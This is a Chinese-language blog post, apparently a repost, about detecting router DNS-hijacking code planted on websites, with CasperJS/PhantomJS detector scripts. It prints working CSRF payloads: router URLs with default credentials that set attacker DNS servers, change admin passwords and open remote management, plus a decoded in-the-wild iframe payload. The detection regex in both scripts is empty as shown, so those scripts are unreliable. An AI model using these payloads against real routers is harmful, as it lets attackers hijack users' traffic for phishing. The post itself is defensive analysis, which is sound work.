最新消息:

基于PhantomJS进行DNS劫持检测及流程优化

置顶文章 admin 2318浏览 0评论

近一段时间针对路由器的劫持事件层出不穷,大到某宝,小到无名站点,都被人挂上了dns劫持的代码用以钓鱼或广告推广。而路由器dns劫持的本质就是弱密码配合路由器的csrf漏洞的共同利用。利用的条件十分简单:不需要目标站点存在漏洞,只要能够插入图片等任何多媒体元素。比如下面这段代码,最直接的利用方法:

http://admin:admin@192.168.1.1/images/logo.jpg

以及其他各类变形:

http://admin:admin@192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=106.186.114.78&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced

http://admin:admin@192.168.1.1/userRpm/ManageControlRpm.htm?port=56&ip=0.0.0.0&Save=%C8%B7+%B6%A8

http://guest:guest@192.168.1.1/router/UserPassSet.cgi?new_user_name=guest&password1=newsa123&password2=newsa123

http://guest:newsa123@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+

通过对样本的分析,可以发现有一下几种利用方式:

1,弱密码=>直接修改dns csrf
2,弱密码=>修改路由密码csrf(防止被其他人利用)=>修改dns csrf
3,弱密码=>开启路由远程管理csrf(修改dns页不存在csrf)=>连接路由远程管理修改dns

还有其他更猥琐的方式,殊途同归都达到了劫持的目的。

经过对网络中海量站点的分析,发现路由dns劫持现象较为严重,需要一个行之有效的检测方案,这里通过一个案例回溯站点植入dns劫持代码的一般过程。

假设被植入劫持代码站点:http://www.foo.com/。使用Chrome f12调出控制台并访问该网站。console中“Network”中的http请求结果如下:

111111111111111111111111111

一共6条劫持链接,快被人插成筛子了。在“Initiator”一列可以发现当前这些劫持请求的始作俑者是“dns.js”,点击链接会引导我们查看该文件源码:

20131126175626_795151

对文件中编码的部分进行解码可得:

Microsoft Internet Explorer;MSIE6.0<div style=display:none;><iframe src='http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=133.242.205.251&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=admin&newpassword=newsa123&newpassword2=newsa123&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://admin:newsa123@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=133.242.205.251&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6' ></iframe><iframe src='http://guest:guest@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+' ></iframe><iframe src='http://guest:guest@192.168.1.1/router/UserPassSet.cgi?new_user_name=guest&password1=newsa123&password2=newsa123' ></iframe><iframe src='http://guest:newsa123@192.168.1.1/router/add_dhcp_segment.cgi?dhcp_on_chk=0&dhcp_server_on=1&dhcp_start_ip1=192.168.1.2&dhcp_end_ip1=192.168.1.254&dhcp_start_ip2=&dhcp_end_ip2=&dhcp_start_ip3=&dhcp_end_ip3=&lan_as_gw_chk=0&is_lan_as_gw=1&custom_gw=&lease_time=86400&is_router_as_dns=1&dns1=133.242.205.251&dns2=8.8.8.8&dns3=&auto_bind=1&submitbutton=+%E4%BF%9D%E5%AD%98%E7%94%9F%E6%95%88+' ></iframe></div>appNameappVersionsplitreplacewritewritewritewritewritewritewritewrite

找到了劫持请求来源,但是我们直接view-source是找不到dns.js这个文件的,应该是由其他文件DOM输出的,我们切到console,按ctrl+shift+f,输入dnsjs:

20131126180924_202611

找到了劫持代码的源头在tools.js文件中,整个劫持的流程:

tools.js–>http://xxx/dnsjs–>http://yyy/dns.js–>csrf代码

根据以上手工的溯源方法,这里使用phantomjs无界面的webkit引擎来进行自动化的检测。phantomjs是一款轻量级的webkit引擎,常用来进行Web功能测试,网页截图,页面自动化操作以及网络请求监控,其他详细使用可参考官网。这里我使用CasperJs来协助phantomjs,Casperjs对phantomjs的诸多API进行了封装,提供了更友好的接口和更多的功能。

DNS劫持检测的思路(V1.0):

phantomjs引擎打开待检测页面,监控页面打开过程中的HTTP请求,在callback中对每一个请求进行恶意代码的正则匹配,匹配到便输出检测结果。

代码如下:

/*
dnsHijack 0.1
code by pnig0s
20131111
*/

var hijack_re = //g;
url = '';
verbose = false;
result = [];
phantom.casperPath = './casperjs';
phantom.injectJs(phantom.casperPath+'/bin/bootstrap.js');
var fs = require('fs');
var utils = require('utils');
var casper = require('casper').create({
    verbose: true,
    stepTimeout: 10000,
    //logLevel: "debug",
    pageSettings: {
        localToRemoteUrlAccessEnabled:true,
        javascriptEnabled:true,
        loadImages:true,
        loadPlugins:false,
        localToRemoteUrlAccessEnabled:true,
        XSSAuditingEnabled:false
    },
    onError: function (self,m) {
        self.exit();
        phantom.exit();
    },
    onStepTimeout: function () {
        casper.echo(JSON.stringify(result));
        //casper.echo("Step timeout.");
        casper.exit();
        phantom.exit();
    }
});

if (casper.cli.args.length < 1)
{
    casper.echo('dnsHijackDetect1.0','COMMENT');
    casper.echo(' pnig0s 20131106','COMMENT');
    casper.echo(' Usage:detect.js http://foo.com','COMMENT');
    casper.echo(' --verbose      print details.','COMMENT');
    casper.exit();
    phantom.exit();
}else{
    url = casper.cli.args[0];
    verbose = casper.cli.has("verbose") || false;
}

casper.on('resource.requested', function(resource) {
    if(hijack_re.test(resource.url)){
        result.push(resource.url);
        if(verbose){
            casper.echo('[+] [INFO]DNS Hijacking url found!FORBIDDENED.','ERROR');
        }
    }
    if(verbose){
        casper.echo(resource.url);
    }
});

casper.start(url, function() {
    this.echo(JSON.stringify(result));
});

casper.run();

180313858985291

这是最基本的检测方式,能够快速检测出存在劫持代码的网站。

但是这种方法无法找到劫持代码产生的来源,为了能进一步像刚才手工一样回溯DOM的解析过程,那定是极好的。

DNS劫持检测思路(V2):

在V1的基础上,保存从DOM解析开始到发现劫持代码为止,所有的资源请求。依次使用 script标签嵌入这些资源进行解析,并在解析后的DOM树中用正则进行特征匹配,由于浏览器对于Javascript是按时间顺序解析的,因此可以回 溯出劫持代码的产生过程,这里有两个trick:

1,大部分劫持代码都对Cookie做了判断,需要在第一次页面解析完成后清除Cookie,且需要在依次解析过程中,如果发现一次存在劫持代码,就要清理一次Cookie再继续解析,这里删除Cookie的方法是设置Expire time。

2,DOM解析的过程和Javascript是异步的,这时需要先判断DOM页面已经解析完 毕,再进行正则的匹配。我这里用到的方式是在script后加一个iframe,当DOM解析完成后,触发iframe的onload事件,向页面中追加 一个id=”finished”的div,而phantomjs的API是可以等待页面中出现某个特定的selector之后才继续执行的。

完整代码如下:

/*
dnsHijack v2.0
code by pnig0s
20131124
*/

var hijack_re = //;
url = '';
flag = false;
bingo = false;
verbose = false;
result = [];
payload = [];
suspect_file = [];
//phantom.casperPath = './casperjs';
//phantom.injectJs(phantom.casperPath+'/bin/bootstrap.js');
var utils = require('utils');
var casper = require('casper').create({
    clientScripts:[
    'include/addition.js'
    ],
    verbose: true,
    //stepTimeout: 200000,
    //logLevel: "debug",
    pageSettings: {
        localToRemoteUrlAccessEnabled:true,
        javascriptEnabled:true,
        loadImages:true,
        loadPlugins:false,
        XSSAuditingEnabled:false,
        webSecurityEnabled:false
    },
    onError: function (self,m) {
        self.exit();
    },
    onStepTimeout: function () {
        //casper.echo(JSON.stringify(result));
        //casper.echo("Step timeout.");
    },
    onResourceRequested: function(self,resource) {
        if(verbose){
            casper.echo(resource.url);
        }
        if(hijack_re.test(resource.url)){
            bingo = true;
            if(!flag){
                payload.push(resource.url);
                if(verbose){
                    casper.echo('[+] [INFO]DNS Hijacking url found!FORBIDDENED.','ERROR');
                }
            }
            //self.abort();
        }

        var ext = utils.fileExt(resource.url);
        if(!bingo && ext!='jpg' && ext!='css' && ext!='png' && ext!='gif' && ext!='bmp' && ext!='flv' && ext!='swf'){
            result.push(resource.url);
        }
    }
});

if (casper.cli.args.length < 1)
{
    casper.echo('dnsHijackDetect1.0','COMMENT');
    casper.echo(' pnig0s 20131106','COMMENT');
    casper.echo(' Usage:detect.js http://foo.com','COMMENT');
    casper.echo(' --verbose      print details.','COMMENT');
    casper.exit();
}else{
    url = casper.cli.args[0];
    verbose = casper.cli.has("verbose") || false;
}

casper.start().thenOpen(url);

casper.thenEvaluate(function () {
    document.write("<html></html>");
    Deletecookie();
});

casper.then(function () {
    flag = true;
    if(!bingo){result = [];}
    this.each(result,function (self,item) {
        this.then(function () {
            this.evaluate(function (item) {
                Deletecookie();
                document.body.innerHTML = "";
                document.write('<html><head><script src="'+item+'"></script></head><body><iframe class="finished_flag" onload=loadFinished()></iframe></body></html>');
            },item);
            casper.waitForSelector(
                '.document_load_finished',
                function () {
                },
                function () {
                    //this.echo("timeout");
                },20000);
            if(hijack_re.test(this.getHTML())){
                if(verbose){
                    casper.echo('[+] [INFO]Suspect file:'+item,'ERROR');
                }
                suspect_file.push(item);
                this.evaluate(function(){
                    document.body.innerHTML = "";
                });
            }
        });
    });
});
casper.run(function(){
    if(verbose){
        this.echo('[+] DNS hijack url:','ERROR');
        for(i in payload){
            this.echo(payload[i]);
        }
        this.echo('[+] Hijacking dom process:','ERROR');
        for(i in suspect_file){
            this.echo(suspect_file[i]);
        }
    }
    this.echo('hijack_url:'+JSON.stringify(payload));
    this.echo('suspect_file:'+JSON.stringify(suspect_file));
    this.clear();
    this.exit();
});

/*utils.dump(casper.steps.map(function (step) {
    return step.toString();
}));*/

其中包含了addition.js,有关清除Cookie和设置完成标识的代码:

function loadFinished () {
    key_node = document.createElement("div");
    key_node.setAttribute('class','document_load_finished');
    document.body.appendChild(key_node);
}
function getCookieVal (offset) {    
    var endstr = document.cookie.indexOf (";", offset);   
    if (endstr == -1) 
        endstr = document.cookie.length;   
        return unescape(document.cookie.substring(offset, endstr)); 
    } 
function GetCookie (name) {   
    var arg = name + "=";   
    var alen = arg.length;   
    var clen = document.cookie.length;   
    var i = 0;   
    while (i < clen) {     
    var j = i + alen;     
    if (document.cookie.substring(i, j) == arg)       
            return getCookieVal (j);     
            i = document.cookie.indexOf(" ", i) + 1;     
            if (i == 0) break;    
    }   
    return null; 
}
function Deletecookie () {  
    var tokens = document.cookie.split(';');
    for (var index = 0; index < tokens.length; index++) {
        var pair = tokens[index].split('=');
            var name = unescape(pair[0]) ;
            var exp = new Date();   
            exp.setTime (exp.getTime() - 1);   
            var cval = GetCookie (name);   
            document.cookie = name + "=" + cval + ";path=/;expires=" + exp.toGMTString();
    }
}

72711385900562

最后的形态如图所示(DNS劫持代码检测)。

鸣谢:知道创宇安全研究团队,superhei。

转自:http://www.pnigos.com/?p=168

转载请注明:jinglingshu的博客 » 基于PhantomJS进行DNS劫持检测及流程优化

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址